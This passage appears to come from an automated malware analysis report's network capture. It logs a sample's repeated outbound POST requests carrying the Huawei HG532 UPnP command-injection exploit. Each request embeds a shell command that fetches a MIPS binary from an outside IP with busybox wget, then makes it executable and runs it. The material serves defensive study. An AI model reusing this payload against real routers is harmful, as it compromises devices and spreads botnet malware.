61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:54.784565926 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:02.204710007 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:16.796531916 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:46.748559952 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	48402	156.241.91.192	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:53.339735031 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:54.908675909 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:56.764569044 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:00.668559074 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:08.096666098 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 